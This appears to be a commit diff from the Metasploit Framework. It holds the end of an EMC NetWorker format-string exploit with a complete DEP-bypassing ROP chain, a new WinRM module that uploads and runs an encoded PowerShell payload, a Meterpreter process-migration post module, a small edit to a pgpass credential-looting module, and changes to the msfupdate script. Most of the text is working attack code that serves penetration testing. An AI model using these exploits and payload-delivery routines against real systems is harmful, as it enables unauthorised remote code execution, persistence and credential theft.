'Ret' => 0x7c345c30, # push esp # ret from MSVCR71.dll
'Offset' => 156,
'DEP' => false
}
],
['EMC Networker 7.6 SP3 / Windows 2003 SP2',
{
'Ret' => 0x7c354dac, # ret from MSVCR71.dll
'Offset' => 156,
'DEP' => true
}
]
],
'DefaultTarget' => 0,
'Privileged' => true,
'DisclosureDate' => 'Aug 29 2012'))
end
def exploit
begin
if (not sunrpc_create('tcp', 0x5F3DD, 2))
fail_with(Exploit::Failure::Unknown, 'sunrpc_create failed')
end
fs = "%n" * target['Offset']
fs << [target.ret].pack("V") # push esp # ret from MSVCR71.dll
if target['DEP']
rop_gadgets =
[
# rop chain generated with mona.py
# The RopDb mixin isn't used because there are badchars
# which must be avoided
0x7c354dab, # POP EBP # RETN [MSVCR71.dll]
0x7c354dab, # skip 4 bytes [MSVCR71.dll]
0x7c37678f, # POP EAX # RETN [MSVCR71.dll]
0xfffffdff, # Value to negate, will become 0x00000201
0x7c34d749, # NEG EAX # RETN [MSVCR71.dll]
0x7c362688, # POP EBX # RETN [MSVCR71.dll]
0xffffffff, #
0x7c345255, # INC EBX # FPATAN # RETN [MSVCR71.dll]
0x7c363cff, # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN [MSVCR71.dll]
0x7c34592b, # POP EDX # RETN [MSVCR71.dll]
0xffffffc0, # Value to negate, will become 0x00000040
0x7c351eb1, # NEG EDX # RETN [MSVCR71.dll]
0x7c37765f, # POP ECX # RETN [MSVCR71.dll]
0x7c38ecfe, # &Writable location [MSVCR71.dll]
0x7c34a490, # POP EDI # RETN [MSVCR71.dll]
0x7c347f98, # RETN (ROP NOP) [MSVCR71.dll]
0x7c364612, # POP ESI # RETN [MSVCR71.dll]
0x7c3415a2, # JMP [EAX] [MSVCR71.dll]
0x7c344cc1, # POP EAX # RETN [MSVCR71.dll]
0x7c37a151, # ptr to &VirtualProtect() - 0x0EF [IAT msvcr71.dll]
0x7c378c81, # PUSHAD # ADD AL,0EF # RETN [MSVCR71.dll]
0x7c345c30, # ptr to 'push esp # ret ' [MSVCR71.dll]
].pack("V*")
fs << rop_gadgets
end
fs << payload.encoded
xdr = XDR.encode(0, 2, rand_text_alpha(10), XDR.encode(fs, rand_text_alpha(10)), 2)
sunrpc_call(6, xdr)
sunrpc_destroy
rescue Rex::Proto::SunRPC::RPCTimeout
print_error('RPCTimeout')
rescue EOFError
print_error('EOFError')
end
end
end

View File

@ -0,0 +1,239 @@
##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ManualRanking
include Msf::Exploit::Remote::WinRM
include Msf::Exploit::CmdStagerVBS
def initialize(info = {})
super(update_info(info,
'Name' => 'WinRM VBS Remote Code Execution',
'Description' => %q{
This module uses valid credentials to login to the WinRM service
and execute a payload. It has two available methods for payload
delivery: Powershell 2.0 and VBS CmdStager.
The module will check if Powershell 2.0 is available, and if so uses
that method. Otherwise it falls back to the VBS Cmdstager which is
less stealthy.
IMPORTANT: If targeting an x64 system with the Powershell method
you MUST select an x64 payload. An x86 payload will never return.
},
'Author' => [ 'thelightcosine' ],
'License' => MSF_LICENSE,
'Privileged' => true,
'DefaultOptions' =>
{
'WfsDelay' => 30,
'EXITFUNC' => 'thread',
'InitialAutoRunScript' => 'post/windows/manage/smart_migrate',
},
'Platform' => 'win',
'Arch' => [ ARCH_X86, ARCH_X86_64 ],
'Targets' =>
[
[ 'Windows', { } ],
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Nov 01 2012'
))
register_options(
[
OptBool.new('FORCE_VBS', [ true, 'Force the module to use the VBS CmdStager', false])
], self.class
)
register_advanced_options(
[
OptString.new( 'DECODERSTUB', [ true, 'The VBS base64 file decoder stub to use.',
File.join(Msf::Config.install_root, "data", "exploits", "cmdstager", "vbs_b64_sleep")]),
], self.class)
end
def check
unless accepts_ntlm_auth
print_error "The Remote WinRM server does not appear to allow Negotiate(NTLM) auth"
return Msf::Exploit::CheckCode::Safe
end
return Msf::Exploit::CheckCode::Vulnerable
end
def exploit
unless check == Msf::Exploit::CheckCode::Vulnerable
return
end
if powershell2?
return unless correct_payload_arch?
path = upload_script
return if path.nil?
exec_script(path)
else
execute_cmdstager
end
handler
end
def execute_command(cmd,opts)
commands = cmd.split(/&/)
commands.each do |command|
if command.include? "cscript"
streams = winrm_run_cmd_hanging(command)
print_status streams.inspect
elsif command.include? "del %TEMP%"
next
else
winrm_run_cmd(command)
end
end
end
def upload_script
tdir = temp_dir
return if tdir.nil?
path = tdir + "\\" + ::Rex::Text.rand_text_alpha(8) + ".ps1"
print_status "Uploading powershell script to #{path} (This may take a few minutes)..."
script = Msf::Util::EXE.to_win32pe_psh(framework,payload.encoded)
#add a sleep to the script to give us enoguh time to establish a session
script << "\n Start-Sleep -s 600"
script.each_line do |psline|
#build our psh command to write out our psh script, meta eh?
script_line = "Add-Content #{path} '#{psline.chomp}' "
cmd = encoded_psh(script_line)
streams = winrm_run_cmd(cmd)
end
return path
end
def exec_script(path)
print_status "Attempting to execute script..."
cmd = "powershell -File #{path}"
winrm_run_cmd_hanging(cmd)
end
def encoded_psh(script)
script = script.chars.to_a.join("\x00").chomp
script << "\x00" unless script[-1].eql? "\x00"
script = Rex::Text.encode_base64(script).chomp
cmd = "powershell -encodedCommand #{script}"
end
def temp_dir
print_status "Grabbing %TEMP%"
resp,c = send_request_ntlm(winrm_open_shell_msg)
if resp.nil?
print_error "Got no reply from the server"
return nil
end
unless resp.code == 200
print_error "Got unexpected response: \n #{resp.to_s}"
return nil
end
shell_id = winrm_get_shell_id(resp)
cmd = "echo %TEMP%"
resp,c = send_request_ntlm(winrm_cmd_msg(cmd, shell_id))
cmd_id = winrm_get_cmd_id(resp)
resp,c = send_request_ntlm(winrm_cmd_recv_msg(shell_id,cmd_id))
streams = winrm_get_cmd_streams(resp)
return streams['stdout'].chomp
end
def check_remote_arch
wql = %q{select AddressWidth from Win32_Processor where DeviceID="CPU0"}
resp,c = send_request_ntlm(winrm_wql_msg(wql))
#Default to x86 if we can't be sure
return "x86" if resp.nil? or resp.code != 200
resp_tbl = parse_wql_response(resp)
addr_width = resp_tbl.rows.flatten[0]
if addr_width == "64"
return "x64"
else
return "x86"
end
end
def correct_payload_arch?
target_arch = check_remote_arch
case target_arch
when "x64"
unless datastore['PAYLOAD'].include? "x64"
print_error "You selected an x86 payload for an x64 target!"
return false
end
when "x86"
if datastore['PAYLOAD'].include? "x64"
print_error "you selected an x64 payload for an x86 target"
return false
end
end
return true
end
def powershell2?
if datastore['FORCE_VBS']
print_status "User selected the FORCE_VBS option"
return false
end
print_status "checking for Powershell 2.0"
streams = winrm_run_cmd("powershell Get-Host")
if streams == 401
print_error "Login failed!"
return false
end
unless streams.class == Hash
print_error "Recieved error while running check"
return false
end
if streams['stderr'].include? "not recognized"
print_error "Powershell is not installed"
return false
end
streams['stdout'].each_line do |line|
next unless line.start_with? "Version"
major_version = line.match(/\d(?=\.)/)[0]
if major_version == "1"
print_error "The target is running an older version of powershell"
return false
end
end
print_status "Attempting to set Execution Policy"
streams = winrm_run_cmd("powershell Set-ExecutionPolicy Unrestricted")
if streams == 401
print_error "Login failed!"
return false
end
unless streams.class == Hash
print_error "Recieved error while running check"
return false
end
streams = winrm_run_cmd("powershell Get-ExecutionPolicy")
if streams['stdout'].include? 'Unrestricted'
print_good "Set Execution Policy Successfully"
return true
end
return false
end
end

View File

@ -65,7 +65,7 @@ class Metasploit3 < Msf::Post
# Store the loot
print_good("Downloading #{f}")
pgpass_path = store_loot("postgres.pgpass", "text/plain", session, read_file(f), "#{f}", "pgpass #{f} file")
print_good "Postgres credentials file saved to #{pgpass_path}"
print_good "Postgres credentials file saved to #{pgpass_path}"
# Store the creds
parse_creds(f)
end

View File

@ -0,0 +1,73 @@
##
# $Id$
##
##
# ## This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
require 'rex'
class Metasploit3 < Msf::Post
def initialize(info={})
super( update_info( info,
'Name' => 'Windows Manage Process Migration',
'Description' => %q{ This module will migrate a Meterpreter session.
It will first attempt to migrate to winlogon.exe . If that fails it will
then look at all of the explorer.exe processes. If there is one that exists
for the user context the session is already in it will try that. Failing that it will fall back
and try any other explorer.exe processes it finds},
'License' => MSF_LICENSE,
'Author' => [ 'thelightcosine'],
'Version' => '$Revision$',
'Platform' => [ 'win' ],
'SessionTypes' => [ 'meterpreter' ]
))
end
def run
server = client.sys.process.open
original_pid = server.pid
print_status("Current server process: #{server.name} (#{server.pid})")
uid = client.sys.config.getuid
processes = client.sys.process.get_processes
uid_explorer_procs = []
explorer_procs = []
winlogon_procs = []
processes.each do |proc|
uid_explorer_procs << proc if proc['name'] == "explorer.exe" and proc["user"] == uid
explorer_procs << proc if proc['name'] == "explorer.exe" and proc["user"] != uid
winlogon_procs << proc if proc['name'] == "winlogon.exe"
end
winlogon_procs.each { |proc| return if attempt_migration(proc['pid']) }
uid_explorer_procs.each { |proc| return if attempt_migration(proc['pid']) }
explorer_procs.each { |proc| return if attempt_migration(proc['pid']) }
print_error "Was unable to sucessfully migrate into any of our likely candidates"
end
def attempt_migration(target_pid)
begin
print_good("Migrating to #{target_pid}")
client.core.migrate(target_pid)
print_good("Successfully migrated to process #{}")
return true
rescue ::Exception => e
print_error("Could not migrate in to process.")
print_error(e)
return false
end
end
end

107
msfupdate
View File

@ -9,12 +9,14 @@ while File.symlink?(msfbase)
msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase))
end
@msfbase_dir = File.dirname(msfbase)
@args = ARGV.dup
# May be changed
@configdir = File.expand_path(File.join(File.dirname(msfbase), "data", "svn"))
Dir.chdir(File.dirname(msfbase))
Dir.chdir(@msfbase_dir)
$stderr.puts "[*]"
$stderr.puts "[*] Attempting to update the Metasploit Framework..."
@ -26,41 +28,110 @@ if not (Process.uid == 0 or File.stat(msfbase).owned?)
$stderr.puts "Please run msfupdate as the same user who installed metasploit."
end
def is_git
File.directory?(File.join(@msfbase_dir, ".git"))
end
def is_svn
File.directory?(File.join(@msfbase_dir, ".svn"))
end
def print_deprecation_warning
$stdout.puts "[*] Deprecation Note: The next version of Metasploit will"
$stdout.puts "[*] update over the git protocol, which requires outbound"
$stdout.puts "[*] access to github.com:9418/TCP."
$stdout.puts "[*] Please adjust your egress firewall rules accordingly."
end
# Some of these args are meaningful for SVN, some for Git,
# some for both. Fun times.
@args.each_with_index do |arg,i|
case arg
# Handle the old wait/nowait argument behavior
# Handle the old wait/nowait argument behavior
when "wait", "nowait"
@wait_index = i
@actually_wait = (arg == "wait")
# An empty or absent config-dir means a default config-dir
# An empty or absent config-dir means a default config-dir
when "--config-dir"
@configdir_index = i
# A defined config dir means a defined config-dir
# A defined config dir means a defined config-dir
when /--config-dir=(.*)?/
# Spaces in the directory should be fine since this whole thing is passed
# as a single argument via the multi-arg syntax for system() below.
# TODO: Test this spaces business. I don't buy it. -todb
@configdir = $1
@configdir_index = i
when /--git-remote=([^\s]*)?/
@git_remote = $1
@git_remote_index = i
when /--git-branch=([^\s]*)?/
@git_branch = $1
@git_branch_index = i
end
end
@args[@wait_index] = nil if @wait_index
@args[@configdir_index] = nil if @configdir_index
@args = @args.compact
@args.push("--config-dir=#{@configdir}")
@args.push("--non-interactive")
res = system("svn", "cleanup")
if res.nil?
$stderr.puts "[-] ERROR: Failed to run svn"
$stderr.puts ""
$stderr.puts "[-] If you used a binary installer, make sure you run the symlink in"
$stderr.puts "[-] /usr/local/bin instead of running this file directly (e.g.: ./msfupdate)"
$stderr.puts "[-] to ensure a proper environment."
else
# Cleanup worked, go ahead and update
system("svn", "update", *@args)
@args[@git_remote_index] = nil if @git_remote_index
@args[@git_branch_index] = nil if @git_branch_index
@args = @args.compact
####### Since we're SVN, do it all this way #######
if is_svn
print_deprecation_warning
@args.push("--config-dir=#{@configdir}")
@args.push("--non-interactive")
res = system("svn", "cleanup")
if res.nil?
$stderr.puts "[-] ERROR: Failed to run svn"
$stderr.puts ""
$stderr.puts "[-] If you used a binary installer, make sure you run the symlink in"
$stderr.puts "[-] /usr/local/bin instead of running this file directly (e.g.: ./msfupdate)"
$stderr.puts "[-] to ensure a proper environment."
exit 1
else
# Cleanup worked, go ahead and update
system("svn", "update", *@args)
end
end
####### Since we're Git, do it all that way #######
if is_git
remote = @git_remote || "origin"
branch = @git_branch || "master"
# This will save local changes in a stash, but won't
# attempt to reapply them. If the user wants them back
# they can always git stash pop them, and that presumes
# they know what they're doing when they're editing local
# checkout, which presumes they're not using msfupdate
# to begin with.
#
# Note, this requires at least user.name and user.email
# to be configured in the global git config. Installers should
# take care that this is done. TODO: Enforce this in msfupdate
res = system("git", "stash")
if res.nil?
$stderr.puts "[-] ERROR: Failed to run git"
$stderr.puts ""
$stderr.puts "[-] If you used a binary installer, make sure you run the symlink in"
$stderr.puts "[-] /usr/local/bin instead of running this file directly (e.g.: ./msfupdate)"
$stderr.puts "[-] to ensure a proper environment."
exit 1
else
$stdout.puts "[*] Stashed local changes (if any) to avoid merge conflicts."
$stdout.puts "[*] Run 'git stash pop' to reapply local changes."
end
system("git", "reset", "HEAD", "--hard")
system("git", "checkout", branch)
system("git", "fetch")
system("git", "merge", "#{remote}/#{branch}")
end
unless is_svn || is_git
raise RuntimeError, "Cannot determine checkout type: `#{@msfbase_dir}'"
end
if @actually_wait